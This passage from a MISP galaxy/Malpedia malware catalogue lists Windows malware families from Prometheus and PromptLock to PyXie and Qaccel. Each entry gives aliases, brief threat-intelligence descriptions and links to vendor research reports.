https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://blog.talosintelligence.com/prometei-botnet-improves/
https://twitter.com/honeymoon_ioc/status/1494311182550904840
https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities
https://www.trendmicro.com/en_us/research/24/j/unmasking-prometei-a-deep-dive-into-our-mxdr-findings.html

Prometheus

Ransomware written in .NET, apparently derived from the codebase of win.hakbit (Thanos) ransomware.

The tag is: *misp-galaxy:malpedia="Prometheus"*

Prometheus is also known as:

Table 4823. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus
https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/
https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html
https://twitter.com/inversecos/status/1441252744258461699?s=20
https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd
https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd
https://unit42.paloaltonetworks.com/prometheus-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware
https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea
https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/
https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/

PromptLock

According to ESET Research, PromptLock is first known AI-powered ransomware. PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These Lua scripts are cross-platform compatible, functioning on Windows, Linux, and macOS. For its file encryption mechanism, the PromptLock ransomware utilizes the SPECK 128-bit encryption algorithm.

The tag is: *misp-galaxy:malpedia="PromptLock"*

PromptLock is also known as:

Table 4824. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prompt_lock
https://x.com/ESETresearch/status/1960365407463751889

proteus

The tag is: *misp-galaxy:malpedia="proteus"*

proteus is also known as:

Table 4825. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.proteus
https://www.fortinet.com/blog/threat-research/a-new-all-in-one-botnet-proteus.html

Proto8RAT

The tag is: *misp-galaxy:malpedia="Proto8RAT"*

Proto8RAT is also known as:

Table 4826. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat
https://github.com/avast/ioc/tree/master/OperationDragonCastling

ProtonBot

The tag is: *misp-galaxy:malpedia="ProtonBot"*

ProtonBot is also known as:

Table 4827. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot
https://www.youtube.com/watch?v=FttiysUZmDw
https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/

Prynt Stealer

The tag is: *misp-galaxy:malpedia="Prynt Stealer"*

Prynt Stealer is also known as:

Table 4828. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer
https://twitter.com/vxunderground/status/1519632014361640960
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed
https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/

PseudoManuscrypt

According to PCrisk, PseudoManuscrypt is the name of the malware that spies on victims. It is similar to another malware called Manuscrypt. We have discovered PseudoManuscrypt while checking installers for pirated software (one of the examples is a fake pirated installer for SolarWinds - a network monitoring software).

The tag is: *misp-galaxy:malpedia="PseudoManuscrypt"*

PseudoManuscrypt is also known as:

Table 4829. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt
https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/
https://www.netresec.com/?page=Blog&month=2025-09&post=Gh0stKCP-Protocol
https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1
https://asec.ahnlab.com/en/31683/
https://www.youtube.com/watch?v=uakw2HMGZ-I
https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1

PsiX

According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.

In binaries, apart from BotModule and MainModule, references to the following Modules have be observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule

The tag is: *misp-galaxy:malpedia="PsiX"*

PsiX is also known as:

- PsiXBot

Table 4830. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.psix
https://twitter.com/seckle_ch/status/1169558035649433600
https://twitter.com/mesa_matt/status/1035211747957923840

https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure
https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module
https://blog.comodo.com/comodo-news/versions-of-psixbot/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/

PSLogger

The tag is: *misp-galaxy:malpedia="PSLogger"*

PSLogger is also known as:

- ECCENTRICBANDWAGON

Table 4831. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger
https://twitter.com/KevinPerlow/status/1160766519615381504
https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a

PC Surveillance System

Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.

The tag is: *misp-galaxy:malpedia="PC Surveillance System"*

PC Surveillance System is also known as:

- PSS

Table 4832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pss
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/

Pteranodon

The tag is: *misp-galaxy:malpedia="Pteranodon"*

Pteranodon is also known as:

- Pterodo

Table 4833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon
https://blogs.cisco.com/security/network-footprints-of-gamaredon-group
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://blogs.blackberry.com/en/2022/11/gamaredon-leverages-microsoft-office-docs-to-target-ukraine-government
https://attack.mitre.org/groups/G0047
https://blog.synapticsystems.de/inside-gamaredon-2025-zero-click-espionage-at-scale/
https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html
https://blog.threatstop.com/russian-apt-gamaredon-group
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game
https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/
https://cert.gov.ua/article/2807
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
https://cn-sec.com/archives/4411359.html
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/
https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/
https://cert.gov.ua/news/42
https://www.microsoft.com/en-us/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
https://harfanglab.io/insidethelab/gamaredons-pterolnk-analysis/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-russia-ukraine-military
https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf
https://cert.gov.ua/article/10702
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://cert.gov.ua/news/46

https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/
https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt
https://www.elastic.co/blog/playing-defense-against-gamaredon-group
https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/
https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/
https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine
https://threatmon.io/cybergun-technical-analysis-of-the-armageddons-infostealer/
https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/Gamaredon_activity.pdf

Pterois

According to Seqrite, this is a loader for a follow-up side-loaded and in memory-staged Cobalt Strike Beacon. It uses API hashing (SDBM) and pulls the next stage from Google Drive using hardcoded access credentials.

The tag is: *misp-galaxy:malpedia="Pterois"*

Pterois is also known as:

Table 4834. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pterois
https://www.seqrite.com/blog/swan-vector-apt-targeting-taiwan-japan-dll-implants/

PUBLOAD

The tag is: *misp-galaxy:malpedia="PUBLOAD"*

PUBLOAD is also known as:

- ClaimLoader
- PUBLOAD

Table 4835. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pubload
https://www.lac.co.jp/lacwatch/report/20221117_003189.html

https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html
https://twitter.com/katechondic/status/1556940169483264000
https://unit42.paloaltonetworks.com/chinese-apts-target-asean-entities/
https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/
https://www.welivesecurity.com/en/eset-research/separating-bee-panda-ceranakeeper-making-beeline-thailand/
https://www.ibm.com/think/x-force/hive0154-drops-updated-toneshell-backdoor
https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html

PubNubRAT

The tag is: *misp-galaxy:malpedia="PubNubRAT"*

PubNubRAT is also known as:

Table 4836. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat
http://blog.alyac.co.kr/1853
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

PulsarTea

The tag is: *misp-galaxy:malpedia="PulsarTea"*

PulsarTea is also known as:

Table 4837. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pulsartea
https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2024-02-19-joint-cyber-security-advisory-englisch.pdf?blob=publicationFile&v=2

PULSEPACK

The tag is: *misp-galaxy:malpedia="PULSEPACK"*

PULSEPACK is also known as:

Table 4838. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pulsepack
https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html

Punkey POS

The tag is: *misp-galaxy:malpedia="Punkey POS"*

Punkey POS is also known as:

- poscardstealer
- pospunk
- punkeypos

Table 4839. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/
https://www.pandasecurity.com/mediacenter/malware/punkeypos/

pupy (Windows)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (Windows)"*

pupy (Windows) is also known as:

- Patpoopy

Table 4840. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html
https://labs.k7computing.com/index.php/pupy-rat-hiding-under-werfaults-cover/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://cyble.com/blog/analysing-the-utg-q-010-campaign/
https://www.infinitumit.com.tr/apt-35/
https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt
https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/
https://github.com/n1nj4sec/pupy
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations

PureCrypter

According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021 The malware has been observed distributing a variety of remote access trojans and information stealers The loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products PureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google's Protocol Buffer message format

The tag is: *misp-galaxy:malpedia="PureCrypter"*

PureCrypter is also known as:

Table 4841. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter
https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations
https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter
https://any.run/cybersecurity-blog/pure-malware-family-analysis/

https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/
https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/

PureLocker

ransomware

The tag is: *misp-galaxy:malpedia="PureLocker"*

PureLocker is also known as:

Table 4842. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker
https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md
https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e
https://www.intezer.com/blog-purelocker-ransomware-being-used-in-targeted-attacks-against-servers/

PureLogs Stealer

PureLogs, also known as PureLog Stealer, is an infostealer malware from the Pure family that aims to steal sensitive information from infected devices.

The tag is: *misp-galaxy:malpedia="PureLogs Stealer"*

PureLogs Stealer is also known as:

Table 4843. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purelogs
https://cloud.google.com/blog/topics/threat-intelligence/russian-espionage-influence-ukrainian-military-recruits-anti-mobilization-narratives?hl=en
https://cyble.com/blog/pure-coder-offers-multiple-malware-for-sale-in-darkweb-forums/
https://cloud.google.com/blog/topics/threat-intelligence/russian-espionage-influence-ukrainian-military-recruits-anti-mobilization-narratives
https://medium.com/@0xzyadelzyat/purelogs-stealer-complete-malware-analysis-ctf-walkthrough-83e41e7c6efd
https://blog.dexpose.io/purelogger-deep-analysis-evasion-data-theft-and-encryption-mechanism/

https://any.run/cybersecurity-blog/pure-malware-family-analysis/
https://www.netresec.com/?page=Blog&month=2025-06&post=Detecting-PureLogs-traffic-with-CapLoader
https://www.netresec.com/?page=Blog&month=2025-07&post=PureLogs-Forensics
https://dimanec.unipegaso.it/wp-content/uploads/sites/5/2025/11/Dissecting-a-new-malspam-chain-delivering-Purelogs-infostealer.pdf
https://russianpanda.com/2023/12/26/Pure-Logs-Stealer-Malware-Analysis/

PureRAT

According to Morphisec, this RAT combines advanced in-memory execution, API and resource resolution at runtime, and layered evasion techniques. They have named it 'Resolver' due to its heavy reliance on runtime resolution mechanisms and dynamic resource handling, which make static and behavioral analysis significantly more difficult.

The tag is: *misp-galaxy:malpedia="PureRAT"*

PureRAT is also known as:

- PureHVNC
- ResolverRAT

Table 4844. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pure_rat
https://www.morphisec.com/blog/new-malware-variant-identified-resolverrat-enters-the-maze/
https://blog.plainbit.co.kr/sanae-yuib-seupieopising-meil-bunseog/
https://securelist.ru/purerat-attacks-russian-organizations/112619/
https://www.darkrym.com/posts/2025/09/pxa-stealers-evolution-to-purerat-part-6-finally-the-final-stage-purerat-stage-9/
https://www.netresec.com/?page=Blog&month=2025-08&post=PureRAT-ResolverRAT-PureHVNC

PurpleFox

Purple Fox uses msi.dll function, 'MsiInstallProductA', to download and execute its payload. The payload is a .msi file that contains encrypted shellcode including 32-bit and 64-bit versions. once executed the system will be restarted and uses the 'PendingFileRenameOperations' registry to rename it's components.

Upon restart the rootkit capability of Purple Fox is invoked. It creates a suspended svchost process and injects a DLL that will create a driver with the rootkit capability.

The latest version of Purple Fox abuses open-source code to enable it's rootkit components, which

includes hiding and protecting its files and registry entries. It also abuses a file utility software to hide its DLL component, which deters reverse engineering.

The tag is: *misp-galaxy:malpedia="PurpleFox"*

PurpleFox is also known as:

Table 4845. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox
https://s.tencent.com/research/report/1322.html
https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/
https://blog.malwarebytes.com/trojans/2021/03/perkiler-malware-turns-to-smb-brute-force-to-spread/
https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html
https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html
https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/
https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html
https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/IOCs-Purple-Fox.txt
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf
https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware
https://www.proofpoint.com/us/blog/threat-insight/chinese-malware-appears-earnest-across-cybercrime-threat-landscape
https://www.bleepingcomputer.com/news/security/purplefox-malware-infects-thousands-of-computers-in-ukraine/
https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html
https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html
https://labs.sentinelone.com/purple-fox-ek-new-cves-steganography-and-virtualization-added-to-attack-flow/

https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit
https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit
https://twitter.com/C0rk1_H/status/1412801973628272641?s=20
https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/
https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/

purpleink

The tag is: *misp-galaxy:malpedia="purpleink"*

purpleink is also known as:

Table 4846. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purpleink
https://blog.talosintelligence.com/lilacsquid/

PurpleWave

ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user's system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.

The author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.

The tag is: *misp-galaxy:malpedia="PurpleWave"*

PurpleWave is also known as:

Table 4847. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave
https://www.zscaler.com/blogs/research/purplewave-new-infostealer-russia

Pushdo

Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.

The tag is: *misp-galaxy:malpedia="Pushdo"*

Pushdo is also known as:

Table 4848. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo
https://www.secureworks.com/research/threat-profiles/gold-essex
http://malware-traffic-analysis.net/2017/04/03/index2.html
https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
http://www.secureworks.com/research/threat-profiles/gold-essex
https://www.secureworks.com/research/pushdo

Putabmow

The tag is: *misp-galaxy:malpedia="Putabmow"*

Putabmow is also known as:

Table 4849. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow

puzzlemaker

The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack.

The tag is: *misp-galaxy:malpedia="puzzlemaker"*

puzzlemaker is also known as:

Table 4850. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker
https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/

PvzOut

The tag is: *misp-galaxy:malpedia="PvzOut"*

PvzOut is also known as:

Table 4851. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

PwndLocker

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

The tag is: *misp-galaxy:malpedia="PwndLocker"*

PwndLocker is also known as:

- ProLock

Table 4852. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/
https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/
https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji
https://www.group-ib.com/blog/prolock
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://www.group-ib.com/blog/prolock_evolution
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/
https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/
https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html
https://www.intrinsec.com/egregor-prolock/
https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/
https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf
https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/
https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/

pwnpos

The tag is: *misp-galaxy:malpedia="pwnpos"*

pwnpos is also known as:

Table 4853. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos
https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf
https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html
https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/
https://twitter.com/physicaldrive0/status/573109512145649664

win.pyfiledel

Py2exe built worm propagating via USB drives, having wiper features embedded in the logic (based on today's date being later than 2016-04-03 and existence of a file C:\txt.txt)

The tag is: *misp-galaxy:malpedia="win.pyfiledel"*

win.pyfiledel is also known as:

Table 4854. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pyfiledel
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm.win32.pyfiledel.aa
https://biebermalware.wordpress.com/2018/02/14/reversing-py2exe-binaries/

Pykspa

According to Akamai, Pykspa is a worm that spreads via Skype by sending messages to other Skype users with download links. Once downloaded, Pykspa extracts personal information and communicates with its command and control servers (C2) using a domain generation algorithm (DGA).

The tag is: *misp-galaxy:malpedia="Pykspa"*

Pykspa is also known as:

Table 4855. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa
https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/
https://www.youtube.com/watch?v=HfSQlC76_s4
https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html
https://www.akamai.com/blog/security/pykspa-v2-dga-updated-to-become-selective
https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/

https://bin.re/blog/the-dga-of-pykspa/
https://bin.re/blog/pykspas-inferior-dga-version/

PyLocky

PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller.

The tag is: *misp-galaxy:malpedia="PyLocky"*

PyLocky is also known as:

- Locky Locker

Table 4856. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky
https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html
https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/
https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/
https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/
https://www.cybermalveillance.gouv.fr/nos-articles/outil-dechiffrement-rancongiciel-ransomware-pylocky-v1-2/

PyXie

Full-featured Python RAT compiled into an executable.

PyXie RAT functionality includes: * Man-in-the-middle (MITM) Interception * Web-injects * Keylogging * Credential harvesting * Network Scanning * Cookie theft * Clearing logs * Recording video * Running arbitrary payloads * Monitoring USB drives and exfiltrating data * WebDav server * Socks5 proxy * Virtual Network Connection (VNC) * Certificate theft * Inventorying software * Enumerating the domain with Sharphound

The tag is: *misp-galaxy:malpedia="PyXie"*

PyXie is also known as:

- PyXie RAT

Table 4857. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4
https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html
https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.secureworks.com/research/threat-profiles/gold-dupont

Qaccel

The tag is: *misp-galaxy:malpedia="Qaccel"*

Qaccel is also known as:

Table 4858. Table References

Links
